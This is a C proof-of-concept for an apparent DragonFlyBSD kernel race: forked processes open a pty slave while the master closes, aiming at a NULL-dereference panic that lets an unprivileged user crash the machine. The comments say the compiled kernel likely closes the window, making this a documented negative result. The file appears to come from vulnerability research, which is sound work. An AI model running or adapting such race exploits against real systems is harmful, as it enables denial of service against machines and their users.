DF-0039 / pts_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-0039 PoC - ptsopen check-then-use TOCTOU on dev->si_drv1 -> NULL-deref * kernel panic (local unprivileged DoS). * * ptsopen (sys/kern/tty_pty.c:313-317) tests dev->si_drv1 == NULL (line 313) * then re-reads pti = dev->si_drv1 (line 315) with no lock; between the two * unlocked loads a concurrent ptcclose()->pti_done() nulls si_drv1 (:279) * before destroy_dev (:281). The subsequent lwkt_gettoken(&pti->pt_tty.t_token) * (:317) then dereferences NULL -> kernel panic. * * Reachable by any local user: /dev/ptmx is 0666 (:1290-1291), the slave is * owned by the master opener, and ptcclose reopens the slave 0666 (:677-682), * so the same user races open(/dev/pts/N) against close(master). * * Contrast ptcopen (:571-573) which reads si_drv1 once into pti (safe). * * Build (DragonFlyBSD): cc -pthread -O2 -o pts_race pts_race.c * Run as an UNPRIVILEGED user (disposable VM): ./pts_race * * Expected (bug present): kernel panic (NULL deref in ptsopen) once the race * window is won. * * NOTE: Disassembly of the master DEV kernel (see VERDICT.md) shows GCC 8.3 * CSE-fused the two `dev->si_drv1` loads in ptsopen into a single `mov * 0x98(%r14),%r12`, identical to the safe pattern already used by ptcopen. * The race is therefore unreachable on this compiled kernel even though the * source still shows the buggy double-read. This PoC will run forever * without panicking; that negative result, combined with the disassembly, * is the proof. */ #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #ifndef strlcpy size_t strlcpy(char *, const char *, size_t); #endif #define N_OPENERS 4 /* parallel racers per slave */ /* * Each child opens+immediately-closes the slave in a tight loop for a * short burst, then exits. Many short bursts across iterations give * better race coverage than one long loop per child (which would just * pin a CPU on ENXIO returns after the master closes). */ static void opener_child(const char *slave, int iters) { for (int i = 0; i < iters; i++) { int fd = open(slave, O_RDWR | O_NOCTTY); if (fd >= 0) close(fd); } _exit(0); } int main(void) { unsigned long iter = 0; fprintf(stderr, "[pts_race] start (N_OPENERS=%d)\n", N_OPENERS); while (1) { int m = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (m < 0) { if ((iter & 0x3fff) == 0) fprintf(stderr, "[pts_race] ptmx open errno=%d\n", errno); continue; } unlockpt(m); char *s = ptsname(m); if (!s || !*s) { close(m); continue; } char buf[64]; strlcpy(buf, s, sizeof(buf)); pid_t kids[N_OPENERS]; int nkids = 0; for (int i = 0; i < N_OPENERS; i++) { pid_t p = fork(); if (p < 0) break; if (p == 0) opener_child(buf, 200); kids[nkids++] = p; } /* Let the openers reach their tight loop. */ usleep(20); /* * RACE: close(master) -> ptcclose -> pti_done -> si_drv1=NULL @279 * races the openers' ptsopen :313 vs :315 reads. * * NOTE: close(m) can block inside destroy_dev() while the * openers hold transient references to the slave cdev, but * that is exactly the window we want widened. */ close(m); for (int i = 0; i < nkids; i++) waitpid(kids[i], NULL, 0); if ((++iter % 500) == 0) fprintf(stderr, "[pts_race] iter=%lu (no panic)\n", iter); } /* not reached */ return 0; } |